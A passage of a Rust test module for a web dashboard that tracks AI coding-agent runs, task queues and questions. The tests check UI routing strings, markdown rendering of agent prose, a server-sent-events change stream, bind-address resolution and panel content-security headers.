12029 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12031 assert!(
12032 body("function applyRoute")
12033 .contains("route.name !== state.route.name || route.id !== state.route.id")
12034 );
12035 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12037 assert!(!INDEX_HTML.contains("advise-converge"));
12038 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12039 assert!(APP_JS.contains("provisional"));
12040 for id in [
12041 "run-tab-overview",
12042 "run-tab-timeline",
12043 "run-tab-report",
12044 "run-report",
12045 "runs-scope",
12046 ] {
12047 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12048 }
12049 assert!(!INDEX_HTML.contains("runs-tree"));
12050 assert!(!INDEX_HTML.contains("run-raw-panel"));
12051 assert!(APP_JS.contains("resume"));
12053 assert!(APP_JS.contains("unreadable"));
12055 }
12056
12057 #[test]
12058 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12059 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12060 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12061 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12062 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12063 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12064 assert!(APP_JS.contains("unreadable` : null"));
12066 }
12067
12068 #[test]
12069 fn the_run_detail_payload_says_whether_the_run_is_done() {
12070 for (status, done) in [
12072 (RunStatus::Superseded, true),
12073 (RunStatus::Blocked, true),
12074 (RunStatus::Landing, false),
12075 ] {
12076 let mut state = RunState::new(
12077 std::path::PathBuf::from("/repo"),
12078 "main".to_owned(),
12079 "abc".to_owned(),
12080 "x".to_owned(),
12081 crate::config::Config::default(),
12082 );
12083 state.status = status;
12084 let v = serde_json::to_value(RunDetailView::of(
12085 state,
12086 crate::run::Liveness::Unknown,
12087 None,
12088 None,
12089 None,
12090 ))
12091 .unwrap();
12092 assert_eq!(v["done"], done, "{status:?}");
12093 }
12094 }
12095
12096 fn has_strong(nodes: &[md::Node]) -> bool {
12098 serde_json::to_string(nodes).unwrap().contains("strong")
12099 }
12100
12101 #[test]
12102 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12103 let mut state = RunState::new(
12104 std::path::PathBuf::from("/repo"),
12105 "main".to_owned(),
12106 "abc".to_owned(),
12107 "x".to_owned(),
12108 crate::config::Config::default(),
12109 );
12110 let proposal = |approach: &str| {
12111 serde_json::json!({
12112 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12113 })
12114 };
12115 state.advice = Some(
12116 serde_json::from_value(serde_json::json!({
12117 "records": [
12118 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12119 "proposal": proposal("do **this**")},
12120 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12121 ],
12122 "synthesis": "- one\n- **two**\n\n`code`",
12123 }))
12124 .unwrap(),
12125 );
12126 state.candidates = serde_json::from_value(serde_json::json!([
12127 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12128 "summary": "did **it**"},
12129 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12130 ]))
12131 .unwrap();
12132 state.reviews = serde_json::from_value(serde_json::json!([{
12135 "round": 1, "head": "h",
12136 "reviews": [{
12137 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12138 "findings": [
12139 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12140 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12141 ],
12142 }],
12143 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12144 "fix": {"agent": "a", "notes": "fixed **it**",
12145 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12146 }, {"round": 2, "head": "h2", "reviews": []}]))
12147 .unwrap();
12148
12149 let v = serde_json::to_value(RunDetailView::of(
12150 state,
12151 crate::run::Liveness::Unknown,
12152 None,
12153 None,
12154 None,
12155 ))
12156 .unwrap();
12157
12158 let strong = |p: &str| {
12159 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12160 assert!(n.to_string().contains("strong"), "{p}: {n}");
12161 };
12162 strong("/advice_md/synthesis");
12163 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12164 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12165 strong("/advice_md/approaches/0");
12166 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12167 strong("/candidate_summaries_md/0");
12168 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12169 strong("/reviews_md/0/reviewers/0/summary");
12170 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12171 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12172 assert!(f[1].to_string().contains("strong"));
12173 strong("/reviews_md/0/reconsideration/0");
12174 strong("/reviews_md/0/fix/notes");
12175 strong("/reviews_md/0/fix/rejected/0");
12176 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12177 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12178 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12180 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12181 }
12182
12183 #[test]
12184 fn a_run_without_advice_has_no_advice_md() {
12185 let state = RunState::new(
12186 std::path::PathBuf::from("/repo"),
12187 "main".to_owned(),
12188 "abc".to_owned(),
12189 "x".to_owned(),
12190 crate::config::Config::default(),
12191 );
12192 let p = run_prose_md(&state);
12193 assert!(p.advice_md.is_none());
12194 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12195 }
12196
12197 #[test]
12198 fn a_question_view_carries_markdown_for_each_thread_turn() {
12199 let home = TempDir::new().unwrap();
12200 let store = ask::Questions::at(home.path().join("questions"));
12201 let mut q = Question::new(
12202 "run".to_owned(),
12203 "implement".to_owned(),
12204 "impl-A".to_owned(),
12205 "which?".to_owned(),
12206 String::new(),
12207 Vec::new(),
12208 );
12209 q.say("plain words").unwrap();
12210 q.reply("use **this**", Vec::new()).unwrap();
12211 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12212 let bodies = &v["thread_bodies_md"];
12213 assert_eq!(bodies.as_array().unwrap().len(), 2);
12214 assert!(!bodies[0].to_string().contains("strong"));
12215 assert!(bodies[1].to_string().contains("strong"));
12216 }
12217
12218 #[test]
12219 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12220 let home = TempDir::new().unwrap();
12221 let store = ask::Questions::at(home.path().join("questions"));
12222 let mut q = Question::new(
12223 "run".to_owned(),
12224 "conduct".to_owned(),
12225 "conduct".to_owned(),
12226 "which?".to_owned(),
12227 String::new(),
12228 Vec::new(),
12229 );
12230 q.say("plain words").unwrap();
12231 q.thread.push(ask::Turn {
12232 who: ask::Who::Agent,
12233 body: "Settled as `merge`".to_owned(),
12234 at: jiff::Timestamp::now(),
12235 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12236 });
12237 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12238 let notes = &v["thread_notes_md"];
12239 assert_eq!(notes.as_array().unwrap().len(), 2);
12240 assert!(notes[0].is_null());
12241 let text = notes[1].to_string();
12242 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12243 assert!(APP_JS.contains("ask-turn-note"));
12244 }
12245
12246 #[test]
12247 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12248 assert!(APP_JS.contains("function landView(run, raw) {"));
12252 assert!(
12253 APP_JS.contains(
12254 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12255 )
12256 );
12257 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12258 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12259 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12260 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12261 }
12262
12263 #[test]
12264 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12265 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12266 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12267 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12268 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12269 }
12270
12271 #[test]
12272 fn review_rounds_label_a_distinct_verified_head() {
12273 assert!(APP_JS.contains("round.verified_head"));
12274 assert!(APP_JS.contains("verified HEAD"));
12275 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12276 }
12277
12278 #[test]
12279 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12280 assert!(APP_JS.contains("blocked: { glyph:"));
12284 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12285
12286 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12290 assert!(
12291 APP_JS.contains(
12292 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12293 ),
12294 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12295 );
12296 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12300
12301 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12305 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12306 assert!(
12307 APP_JS.contains("location.hash = \"#/questions\";"),
12308 "a question node must jump to the Questions screen, not pretend to be a task"
12309 );
12310
12311 assert!(APP_JS.contains("Resolved questions"));
12314 assert!(APP_JS.contains("r.answersList.append("));
12315 assert!(APP_CSS.contains(".task-answers"));
12316 {
12317 let start = APP_JS
12318 .find("function updateTalkTaskRow")
12319 .expect("updateTalkTaskRow");
12320 let body = &APP_JS[start..];
12321 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12322 assert!(
12323 body.contains(
12324 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12325 ),
12326 "a chat-filed task row must link to the task page"
12327 );
12328 assert!(
12329 !body.contains("#/runs/") && !body.contains("#/queue/"),
12330 "the row must not branch to a run or the queue card"
12331 );
12332 assert!(APP_CSS.contains(".talk-task-link"));
12333 }
12334 }
12335
12336 #[test]
12337 fn a_task_notification_links_to_the_task_page() {
12338 let start = APP_JS
12340 .find("function noticeLink(")
12341 .expect("noticeLink exists");
12342 let body = &APP_JS[start..];
12343 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12344 assert!(
12345 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12346 "a task notice's link must target the task page"
12347 );
12348 assert!(
12349 !body.contains("#/queue/"),
12350 "regression: the task link must not go back to the Backlog route"
12351 );
12352 assert!(
12353 APP_JS.contains(
12354 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12355 ),
12356 "`#/tasks/<id>` must parse into the task route"
12357 );
12358
12359 assert!(
12361 APP_JS.contains(
12362 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12363 ),
12364 "`#/queue/<id>` must parse into a route carrying that id"
12365 );
12366
12367 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12371 assert!(APP_JS.contains("function consumeQueueFocus()"));
12372 assert!(APP_JS.contains("jumpToTask(id)"));
12373 }
12374
12375 #[test]
12378 fn chat_rows_put_the_title_alone_on_the_first_line() {
12379 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12380 assert!(APP_CSS.contains(
12381 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12382 ));
12383 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12384 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12385 }
12386
12387 #[test]
12388 fn run_rows_put_the_title_alone_on_the_first_line() {
12389 assert!(
12390 APP_CSS.contains(
12391 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12392 )
12393 );
12394 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12395 assert!(APP_JS.contains("class: \"card run-card\""));
12396 assert!(APP_JS.contains("class: \"repo run-id\""));
12397 }
12398
12399 #[test]
12403 fn wide_screens_show_list_and_preview_side_by_side() {
12404 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12406 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12407 assert!(APP_CSS.contains("main[data-split]"));
12408 assert!(APP_CSS.contains("body[data-split]"));
12409
12410 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12412 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12413 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12414 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12415 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12416
12417 assert!(APP_JS.contains("function markSelected() {"));
12419 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12420 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12421 assert!(
12423 APP_CSS.contains(
12424 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12425 )
12426 );
12427
12428 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12430 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12431 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12432 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12433
12434 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12438 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12439 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12440 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12441
12442 assert!(APP_JS.contains("sandbox: \"\""));
12444 assert!(!APP_JS.contains("sandbox: \"allow"));
12445 }
12446
12447 #[test]
12448 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12449 assert!(
12458 APP_JS.contains(
12459 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12460 ),
12461 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12462 recursive renderQueue() call has nothing left to jump to"
12463 );
12464 assert!(
12465 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12466 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12467 arrives later still gets it"
12468 );
12469 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12470 assert!(APP_JS.contains("is not in the current Backlog."));
12471 assert!(APP_JS.contains("li.card[data-task-id=\""));
12472 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12473 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12474 assert!(APP_CSS.contains(".card-permalink"));
12475 assert!(APP_CSS.contains(".queue-focus-status"));
12476 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12477 }
12478
12479 #[test]
12480 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12481 assert!(
12489 APP_JS.contains(
12490 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12491 ),
12492 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12493 );
12494 }
12495
12496 #[test]
12497 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12498 assert!(
12499 APP_JS.contains("round.verified_head !== round.head"),
12500 "a round that verified an earlier commit must be visibly distinct from one that \
12501 verified the head reviewers are looking at now"
12502 );
12503 assert!(
12504 APP_JS.contains("round.verified_at"),
12505 "when a check ran must be on the wire, not just which commit"
12506 );
12507 assert!(
12508 APP_JS.contains("resource_blocked"),
12509 "a command magi never got to run (shared build cache contention) must not render \
12510 the same as a command that ran and failed"
12511 );
12512 }
12513
12514 #[test]
12515 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12516 assert!(
12524 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12525 "every KPI tile built through statusTile() must route its click through \
12526 openRunsFiltered, the single place that sets the Runs filter"
12527 );
12528 for (label, status) in [
12529 ("Merged", "merged"),
12530 ("Ready", "ready"),
12531 ("Blocked", "blocked"),
12532 ("Stalled", "stalled"),
12533 ] {
12534 let call = format!("statusTile(\"{label}\", t.{status}, ");
12535 assert!(
12536 APP_JS.contains(&call),
12537 "expected the {label} KPI tile built via {call}..."
12538 );
12539 assert!(
12540 APP_JS.contains(&format!("status === \"{status}\"")),
12541 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12542 compare a run against, not one invented only for the stats tile"
12543 );
12544 }
12545 assert!(
12546 APP_JS.contains("function openRunsFiltered(status)"),
12547 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12548 );
12549 assert!(
12550 APP_JS.contains(
12551 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12552 ),
12553 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12554 );
12555 assert!(
12563 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12564 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12565 hashchange event that may never fire"
12566 );
12567 }
12568
12569 #[test]
12570 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12571 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12577 assert!(
12578 APP_JS.contains(
12579 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12580 ),
12581 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12582 guard for an incompatible tree section"
12583 );
12584 }
12585
12586 #[test]
12587 fn every_stats_queue_tile_names_a_real_queue_section() {
12588 assert!(
12594 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12595 "every queue tile built through sectionTile() must route its click through \
12596 openQueueSectionFocus"
12597 );
12598 for key in ["upnext", "running", "done", "held", "blocked"] {
12599 assert!(
12600 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12601 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12602 );
12603 }
12604 for line in [
12608 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12609 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12610 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12611 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12612 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12613 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12614 ] {
12615 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12616 }
12617 }
12618
12619 #[test]
12620 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12621 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12628 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12629 assert!(APP_JS.contains("function revealQueueSection(details)"));
12630 assert!(
12631 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12632 "renderQueue() must consume both focus channels on every pass"
12633 );
12634 assert!(
12635 APP_JS.contains(
12636 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12637 ),
12638 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12639 the recursive renderQueue() call has nothing left to reveal"
12640 );
12641 assert!(
12642 APP_JS.contains(
12643 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12644 ),
12645 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12646 );
12647 assert!(
12655 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12656 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12657 hashchange event that may never fire"
12658 );
12659 }
12660
12661 #[tokio::test]
12662 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12663 let f = Fixture::start().await;
12664
12665 let mut socket = tokio::net::TcpStream::connect(f.addr)
12666 .await
12667 .expect("connect");
12668 socket
12669 .write_all(
12670 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12671 )
12672 .await
12673 .expect("write request");
12674
12675 let mut seen = String::new();
12678 let mut buf = [0u8; 1024];
12679 while !seen.contains("event: change") {
12680 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12681 .await
12682 .expect("the stream must speak within five seconds")
12683 .expect("read");
12684 assert!(read > 0, "the server closed the change stream: {seen}");
12685 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12686 }
12687
12688 assert!(
12689 seen.to_lowercase()
12690 .contains("content-type: text/event-stream"),
12691 "the browser only reconnects automatically for a real SSE stream: {seen}"
12692 );
12693 let data = seen
12694 .lines()
12695 .find_map(|l| l.strip_prefix("data:"))
12696 .expect("a data line");
12697 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12698 assert!(
12699 payload["queue_rev"].is_u64()
12700 && payload["runs_rev"].is_u64()
12701 && payload["questions_rev"].is_u64()
12702 && payload["talks_rev"].is_u64()
12703 && payload["notifications_rev"].is_u64()
12704 && payload["loop_rev"].is_u64(),
12705 "the client needs one revision per store to know what to refetch, \
12706 and `talks_rev` is the only notification a standing talk gets - a \
12707 phone whose radio slept through a turn learns about it here, as \
12708 does one whose operator started the loop from another device: \
12709 {payload}"
12710 );
12711
12712 let health = f.get("/api/health").await.json();
12719 for key in [
12720 "queue_rev",
12721 "runs_rev",
12722 "questions_rev",
12723 "talks_rev",
12724 "notifications_rev",
12725 "loop_rev",
12726 ] {
12727 assert!(
12728 health[key].is_u64(),
12729 "health is the change stream's fallback and is missing `{key}`: {health}"
12730 );
12731 }
12732 }
12733
12734 #[tokio::test]
12735 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12736 let f = Fixture::start().await;
12737 let before = f.get("/api/health").await.json()["talks_rev"]
12738 .as_u64()
12739 .expect("talks_rev");
12740
12741 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12742 std::thread::sleep(Duration::from_millis(10));
12743 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12744 on_disk.turns.push(crate::talk::Turn {
12745 who: crate::talk::Who::Operator,
12746 body: "a new turn".to_owned(),
12747 at: Timestamp::now(),
12748 attachments: Vec::new(),
12749 usage: None,
12750 });
12751 f.talks().put(&mut on_disk).expect("record a turn");
12752
12753 let after = f.get("/api/health").await.json()["talks_rev"]
12754 .as_u64()
12755 .expect("talks_rev");
12756 assert_ne!(
12757 before, after,
12758 "a phone must be able to notice a talk's reply without polling every store"
12759 );
12760 }
12761
12762 #[test]
12763 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12764 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12768 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12769 }
12770 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12771 assert!("everywhere".parse::<Bind>().is_err());
12772 }
12773
12774 #[test]
12775 fn an_explicit_bind_address_is_taken_verbatim() {
12776 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12777
12778 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12779
12780 assert_eq!(addr, asked);
12781 assert!(
12782 warning.is_none(),
12783 "an operator who named an address gets no lecture"
12784 );
12785 }
12786
12787 #[test]
12788 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12789 let (addr, warning) = resolve_bind(&Bind::Auto);
12790
12791 match addr {
12798 IpAddr::V4(ip) if is_tailnet(&ip) => {
12799 assert!(warning.is_none(), "a tailnet address needs no warning");
12800 }
12801 other => {
12802 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12803 let warning = warning.expect("a fallback has to explain itself");
12804 assert!(
12805 warning.contains("127.0.0.1") && warning.contains("local-only"),
12806 "the warning says what happened and what it costs: {warning}"
12807 );
12808 }
12809 }
12810 }
12811
12812 #[test]
12813 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12814 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12818 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12819 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12820 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12821 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12822 }
12823
12824 #[test]
12825 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12826 let ids = vec![
12827 "20260902-140501-aaaa".to_owned(),
12828 "20260902-140502-aabb".to_owned(),
12829 ];
12830
12831 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12832 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12833 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12834
12835 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12836 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12837 assert_eq!(short, "20260902-140502-aabb");
12838 }
12839 #[tokio::test]
12840 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12841 let fx = Fixture::start().await;
12847 let id = panel(
12848 &fx,
12849 "<img src=\"shot.png\">",
12850 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12851 );
12852
12853 let doc = fx
12855 .get(&format!("/api/questions/{id}/panel/index.html"))
12856 .await;
12857 assert_eq!(doc.status, 200, "{}", doc.body);
12858 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12859
12860 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12861 assert_eq!(sibling.status, 200, "{}", sibling.body);
12862 assert_eq!(sibling.header("content-type"), Some("image/png"));
12863 assert_eq!(
12864 sibling.header("content-security-policy"),
12865 Some(PANEL_CSP),
12866 "the sibling route must carry the same policy as the asset route"
12867 );
12868
12869 assert_eq!(
12872 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12873 200
12874 );
12875 }
12876
12877 #[test]
12878 fn delta_stamps_cover_add_update_remove_and_noop() {
12879 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12880 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12881 let delta = diff_stamps(&before, &after, 42);
12882 assert_eq!(delta.base, 42);
12883 assert_eq!(delta.changed, ["b", "c"]);
12884 assert_eq!(delta.removed, ["a"]);
12885 let same = diff_stamps(&after, &after, 43);
12886 assert!(same.changed.is_empty() && same.removed.is_empty());
12887 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12888 let nanos: Stamps = [("b".into(), (2, 20))].into();
12889 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12890 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12891 assert_eq!(stamps_revision(&Stamps::new()), 0);
12892 }
12893
12894 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12895 std::fs::create_dir_all(home.join("runs")).unwrap();
12896 Arc::new(Ui::new(
12897 Queue::at(home.join("queue")),
12898 Questions::at(home.join("questions")),
12899 Talks::at(home.join("talks")),
12900 home.join("runs"),
12901 home.to_owned(),
12902 PathBuf::from("/repo/magi"),
12903 ))
12904 }
12905
12906 #[tokio::test]
12907 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12908 let home = TempDir::new().unwrap();
12909 let ui = delta_test_ui(home.path());
12910 let mut task = Task::new(
12911 "stream task".into(),
12912 "text".into(),
12913 PathBuf::from("/repo"),
12914 Source::Human,
12915 );
12916 ui.queue.put(&mut task).unwrap();
12917 let response = events(State(ui.clone())).await.into_response();
12918 let mut stream = response.into_body().into_data_stream();
12919 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12920 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12921 .await
12922 .unwrap()
12923 .unwrap()
12924 .unwrap();
12925 let text = String::from_utf8(chunk.to_vec()).unwrap();
12926 let data = text
12927 .lines()
12928 .find_map(|line| {
12929 line.strip_prefix("data: ")
12930 .or_else(|| line.strip_prefix("data:"))
12931 })
12932 .unwrap();
12933 serde_json::from_str(data).unwrap()
12934 }
12935 let initial = change(&mut stream).await;
12936 assert!(initial.get("queue_delta").is_none());
12937 task.instruction.push_str(" changed");
12938 ui.queue.put(&mut task).unwrap();
12939 let updated = change(&mut stream).await;
12940 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12941 assert_eq!(
12942 updated["queue_delta"]["changed"],
12943 serde_json::json!([task.id])
12944 );
12945 assert_eq!(
12946 updated["queue_rev"].as_u64(),
12947 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12948 );
12949 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12950 let removed = change(&mut stream).await;
12951 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12952 assert_eq!(
12953 removed["queue_delta"]["removed"],
12954 serde_json::json!([task.id])
12955 );
12956 }
12957
12958 #[tokio::test]
